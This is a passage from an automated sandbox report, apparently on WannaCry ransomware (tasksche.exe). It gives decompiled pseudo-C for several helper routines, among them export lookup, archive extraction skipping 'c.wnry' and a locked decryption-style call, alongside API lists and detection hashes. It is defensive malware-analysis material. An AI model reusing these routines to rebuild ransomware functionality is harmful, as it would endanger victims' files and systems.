                      • CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000,?,00000000,00000000,00000140,?,00406C12,00000000,00401DFE,00000001), ref: 00405BFE
                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,?,00000000,00000000,00000140,?,00406C12,00000000,00401DFE,00000001,00000000,004074EA,00000000), ref: 00405C29
                      • ??2@YAPAXI@Z.MSVCRT(00000020,?,?,00000000,00000000,00000140,?,00406C12,00000000,00401DFE,00000001,00000000,004074EA,00000000,004020D5,?), ref: 00405C38
                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,?,?,00000000,00000000,00000140,?,00406C12,00000000,00401DFE,00000001,00000000,004074EA), ref: 00405C8A
                      Memory Dump Source
                      • Source File: 00000018.00000002.476808460.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000018.00000002.476796809.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476831292.0000000000408000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476855965.000000000040E000.00000008.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476874714.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_24_2_400000_tasksche.jbxd
                      Yara matches
                      Similarity
                      • API ID: File$Pointer$??2@Create
                      • String ID:
                      • API String ID: 1331958074-0
                      • Opcode ID: ff1e72f22e15843ade9ace39703012fff21b8a1e8b9c48cc3c9963cb15211f94
                      • Instruction ID: 771dcc1d5a31089dd4cc2aab62cbbe5a226dda330bf0289da8f54b52fc8588cb
                      • Opcode Fuzzy Hash: ff1e72f22e15843ade9ace39703012fff21b8a1e8b9c48cc3c9963cb15211f94
                      • Instruction Fuzzy Hash: 0831F231008784AFDB318F28888479BBBF4EF15350F18896EF491A7380C375AD85CB69
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00402924 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON
                      Download Yara Rule
                      C-Code - Quality: 37%
                      			E00402924(intOrPtr* _a4, char _a8) {
				intOrPtr _v8;
				intOrPtr* _t26;
				intOrPtr* _t28;
				void* _t29;
				intOrPtr _t30;
				void* _t32;
				signed int _t33;
				signed int _t37;
				signed short* _t41;
				intOrPtr _t44;
				intOrPtr _t49;
				intOrPtr* _t55;
				intOrPtr _t58;
				void* _t59;

				_t26 = _a4;
				_t44 =  *((intOrPtr*)(_t26 + 4));
				_t28 =  *_t26 + 0x78;
				_v8 = _t44;
				if( *((intOrPtr*)(_t28 + 4)) == 0) {
					L11:
					SetLastError(0x7f);
					_t29 = 0;
				} else {
					_t58 =  *_t28;
					_t30 =  *((intOrPtr*)(_t58 + _t44 + 0x18));
					_t59 = _t58 + _t44;
					if(_t30 == 0 ||  *((intOrPtr*)(_t59 + 0x14)) == 0) {
						goto L11;
					} else {
						_t8 =  &_a8; // 0x402150
						if( *_t8 >> 0x10 != 0) {
							_t55 =  *((intOrPtr*)(_t59 + 0x20)) + _t44;
							_t41 =  *((intOrPtr*)(_t59 + 0x24)) + _t44;
							_a4 = 0;
							if(_t30 <= 0) {
								goto L11;
							} else {
								while(1) {
									_t32 =  *_t55 + _t44;
									_t15 =  &_a8; // 0x402150
									__imp___stricmp( *_t15, _t32);
									if(_t32 == 0) {
										break;
									}
									_a4 = _a4 + 1;
									_t55 = _t55 + 4;
									_t41 =  &(_t41[1]);
									if(_a4 <  *((intOrPtr*)(_t59 + 0x18))) {
										_t44 = _v8;
										continue;
									} else {
										goto L11;
									}
									goto L12;
								}
								_t33 =  *_t41 & 0x0000ffff;
								_t44 = _v8;
								goto L14;
							}
						} else {
							_t9 =  &_a8; // 0x402150
							_t37 =  *_t9 & 0x0000ffff;
							_t49 =  *((intOrPtr*)(_t59 + 0x10));
							if(_t37 < _t49) {
								goto L11;
							} else {
								_t33 = _t37 - _t49;
								L14:
								if(_t33 >  *((intOrPtr*)(_t59 + 0x14))) {
									goto L11;
								} else {
									_t29 =  *((intOrPtr*)( *((intOrPtr*)(_t59 + 0x1c)) + _t33 * 4 + _t44)) + _t44;
								}
							}
						}
					}
				}
				L12:
				return _t29;
			}

















                      0x00402928
                      0x0040292f
                      0x00402934
                      0x00402938
                      0x0040293e
                      0x004029a5
                      0x004029a7
                      0x004029ad
                      0x00402940
                      0x00402940
                      0x00402942
                      0x00402946
                      0x0040294a
                      0x00000000
                      0x00402951
                      0x00402951
                      0x0040295a
                      0x00402971
                      0x00402973
                      0x00402977
                      0x0040297a
                      0x00000000
                      0x0040297c
                      0x00402981
                      0x00402983
                      0x00402986
                      0x00402989
                      0x00402993
                      0x00000000
                      0x00000000
                      0x00402995
                      0x00402998
                      0x0040299f
                      0x004029a3
                      0x0040297e
                      0x00000000
                      0x00000000
                      0x00000000
                      0x00000000
                      0x00000000
                      0x004029a3
                      0x004029b4
                      0x004029b7
                      0x00000000
                      0x004029b7
                      0x0040295c
                      0x0040295c
                      0x0040295c
                      0x00402960
                      0x00402965
                      0x00000000
                      0x00402967
                      0x00402967
                      0x004029ba
                      0x004029bd
                      0x00000000
                      0x004029bf
                      0x004029c8
                      0x004029c8
                      0x004029bd
                      0x00402965
                      0x0040295a
                      0x0040294a
                      0x004029af
                      0x004029b3

                      APIs
                      • _stricmp.MSVCRT(P!@,?,?,0000DDB6,?,?,?,00402150,00000000,TaskStart), ref: 00402989
                      • SetLastError.KERNEL32(0000007F,?,0000DDB6,?,?,?,00402150,00000000,TaskStart), ref: 004029A7
                      Strings
                      Memory Dump Source
                      • Source File: 00000018.00000002.476808460.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000018.00000002.476796809.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476831292.0000000000408000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476855965.000000000040E000.00000008.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476874714.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_24_2_400000_tasksche.jbxd
                      Yara matches
                      Similarity
                      • API ID: ErrorLast_stricmp
                      • String ID: P!@
                      • API String ID: 1278613211-1774101457
                      • Opcode ID: 03c3627be8870cecb91afdd38bef801573c0f783d9791e09bb9b18ce57a97af9
                      • Instruction ID: aaf1e2d36ba78ebe43aa6e6aad127835d86855a49192f4e92224227a9dbc2408
                      • Opcode Fuzzy Hash: 03c3627be8870cecb91afdd38bef801573c0f783d9791e09bb9b18ce57a97af9
                      • Instruction Fuzzy Hash: 432180B1700605EFDB14CF19DA8486A73F6EF89310B29857AE846EB381D678ED41CB85
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00401DFE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59stringCOMMON
                      Download Yara Rule
                      C-Code - Quality: 89%
                      			E00401DFE(void* __eax) {
				int _t21;
				signed int _t27;
				signed int _t29;
				void* _t34;
				void* _t36;
				void* _t38;
				void* _t40;
				void* _t41;
				void* _t43;

				_t36 = __eax;
				_t41 = _t40 + 0xc;
				if(__eax != 0) {
					 *(_t38 - 0x12c) =  *(_t38 - 0x12c) & 0x00000000;
					_t29 = 0x4a;
					memset(_t38 - 0x128, 0, _t29 << 2);
					E004075C4(_t36, 0xffffffff, _t38 - 0x12c);
					_t27 =  *(_t38 - 0x12c);
					_t43 = _t41 + 0x18;
					_t34 = 0;
					if(_t27 > 0) {
						do {
							E004075C4(_t36, _t34, _t38 - 0x12c);
							_t21 = strcmp(_t38 - 0x128, "c.wnry");
							_t43 = _t43 + 0x14;
							if(_t21 != 0 || GetFileAttributesA(_t38 - 0x128) == 0xffffffff) {
								E0040763D(_t36, _t34, _t38 - 0x128);
								_t43 = _t43 + 0xc;
							}
							_t34 = _t34 + 1;
						} while (_t34 < _t27);
					}
					E00407656(_t36);
					_push(1);
					_pop(0);
				} else {
				}
				return 0;
			}












                      0x00401dfe
                      0x00401e00
                      0x00401e05
                      0x00401e0e
                      0x00401e1a
                      0x00401e21
                      0x00401e2d
                      0x00401e32
                      0x00401e38
                      0x00401e3b
                      0x00401e3f
                      0x00401e41
                      0x00401e4a
                      0x00401e5b
                      0x00401e60
                      0x00401e65
                      0x00401e82
                      0x00401e87
                      0x00401e87
                      0x00401e8a
                      0x00401e8b
                      0x00401e41
                      0x00401e90
                      0x00401e96
                      0x00401e98
                      0x00401e07
                      0x00401e07
                      0x00401e9d

                      APIs
                      • strcmp.MSVCRT(?,c.wnry,?,00000000,?), ref: 00401E5B
                      • GetFileAttributesA.KERNEL32(?), ref: 00401E6E
                      Strings
                      Memory Dump Source
                      • Source File: 00000018.00000002.476808460.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000018.00000002.476796809.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476831292.0000000000408000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476855965.000000000040E000.00000008.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476874714.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_24_2_400000_tasksche.jbxd
                      Yara matches
                      Similarity
                      • API ID: AttributesFilestrcmp
                      • String ID: c.wnry
                      • API String ID: 3324900478-3240288721
                      • Opcode ID: cc95b26050e750b8ddedfaa82b6fbbed5bde767aecf08ad1744914d0cf1c8067
                      • Instruction ID: 6f95607eaad4b3b0c5796a2914108af7bfa48759f01996e65d2c9759274caab0
                      • Opcode Fuzzy Hash: cc95b26050e750b8ddedfaa82b6fbbed5bde767aecf08ad1744914d0cf1c8067
                      • Instruction Fuzzy Hash: 3001C872D041142ADB209625DC41FEF336C9B45374F1005B7FA44F11C1E739AA998ADA
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00405C9F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17COMMON
                      Download Yara Rule
                      C-Code - Quality: 84%
                      			E00405C9F(signed int __eax, intOrPtr _a4) {
				intOrPtr _t9;

				_t9 = _a4;
				if(_t9 != 0) {
					if( *((char*)(_t9 + 0x10)) != 0) {
						CloseHandle( *(_t9 + 4));
					}
					_push(_t9);
					L004076E8();
					return 0;
				} else {
					return __eax | 0xffffffff;
				}
			}




                      0x00405ca0
                      0x00405ca6
                      0x00405cb1
                      0x00405cb6
                      0x00405cb6
                      0x00405cbc
                      0x00405cbd
                      0x00405cc6
                      0x00405ca8
                      0x00405cac
                      0x00405cac

                      APIs
                      • CloseHandle.KERNEL32(?,$l@,00406118,$l@,?,00000000,00000000), ref: 00405CB6
                      • ??3@YAXPAX@Z.MSVCRT(00000000,$l@,00406118,$l@,?,00000000,00000000), ref: 00405CBD
                      Strings
                      Memory Dump Source
                      • Source File: 00000018.00000002.476808460.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000018.00000002.476796809.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476831292.0000000000408000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476855965.000000000040E000.00000008.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476874714.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_24_2_400000_tasksche.jbxd
                      Yara matches
                      Similarity
                      • API ID: ??3@CloseHandle
                      • String ID: $l@
                      • API String ID: 3816424416-2140230165
                      • Opcode ID: 95d67fc171dea6c803f2538cd8e9bf2129e8d776d8110548eb6437a9e23f5d7b
                      • Instruction ID: 673c02d0cae411eac5e44946f87937de45fd09569792d44698d585129e0307c2
                      • Opcode Fuzzy Hash: 95d67fc171dea6c803f2538cd8e9bf2129e8d776d8110548eb6437a9e23f5d7b
                      • Instruction Fuzzy Hash: 47D05E3280DE211BE7226A28B90469B2B949F01330F054A6EE4A1A25E2D7789C8596CC
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 004019E1 Relevance: 5.0, APIs: 4, Instructions: 39COMMON
                      Download Yara Rule
                      C-Code - Quality: 25%
                      			E004019E1(void* __ecx, void* _a4, int _a8, void* _a12, int* _a16) {
				void* _t13;
				void* _t16;
				struct _CRITICAL_SECTION* _t19;
				void* _t20;

				_t20 = __ecx;
				if( *((intOrPtr*)(__ecx + 8)) == 0) {
					L3:
					return 0;
				}
				_t19 = __ecx + 0x10;
				EnterCriticalSection(_t19);
				_t13 =  *0x40f8a4( *((intOrPtr*)(_t20 + 8)), 0, 1, 0, _a4,  &_a8);
				_push(_t19);
				if(_t13 != 0) {
					LeaveCriticalSection();
					memcpy(_a12, _a4, _a8);
					 *_a16 = _a8;
					_t16 = 1;
					return _t16;
				}
				LeaveCriticalSection();
				goto L3;
			}







                      0x004019e5
                      0x004019ec
                      0x00401a19
                      0x00000000
                      0x00401a19
                      0x004019ee
                      0x004019f2
                      0x00401a08
                      0x00401a10
                      0x00401a11
                      0x00401a1d
                      0x00401a2c
                      0x00401a3a
                      0x00401a3e
                      0x00000000
                      0x00401a3e
                      0x00401a13
                      0x00000000

                      APIs
                      • EnterCriticalSection.KERNEL32(?,00000000,?,?,00401642,?,?,?,?), ref: 004019F2
                      • LeaveCriticalSection.KERNEL32(?,?,?,00401642,?,?,?,?), ref: 00401A13
                      • LeaveCriticalSection.KERNEL32(?,?,?,00401642,?,?,?,?), ref: 00401A1D
                      • memcpy.MSVCRT(?,?,?,?,?,00401642,?,?,?,?), ref: 00401A2C
                      Memory Dump Source
                      • Source File: 00000018.00000002.476808460.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000018.00000002.476796809.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476831292.0000000000408000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476855965.000000000040E000.00000008.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476874714.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_24_2_400000_tasksche.jbxd
                      Yara matches
                      Similarity
                      • API ID: CriticalSection$Leave$Entermemcpy
                      • String ID:
                      • API String ID: 3435569088-0
                      • Opcode ID: fd5125ef58b43d2b94afe930c36afa05085028d191ff952fa05313044055aa85
                      • Instruction ID: 582611ac2dab466912340a9d1f37a03f8b1d3421f3d1388c7c0078807ea36f1a
                      • Opcode Fuzzy Hash: fd5125ef58b43d2b94afe930c36afa05085028d191ff952fa05313044055aa85
                      • Instruction Fuzzy Hash: 7FF0A432200204FFEB119F90DD05FAA3769EF44710F008439F945AA1A0D7B5A854DB65
                      Uniqueness

                      Uniqueness Score: -1.00%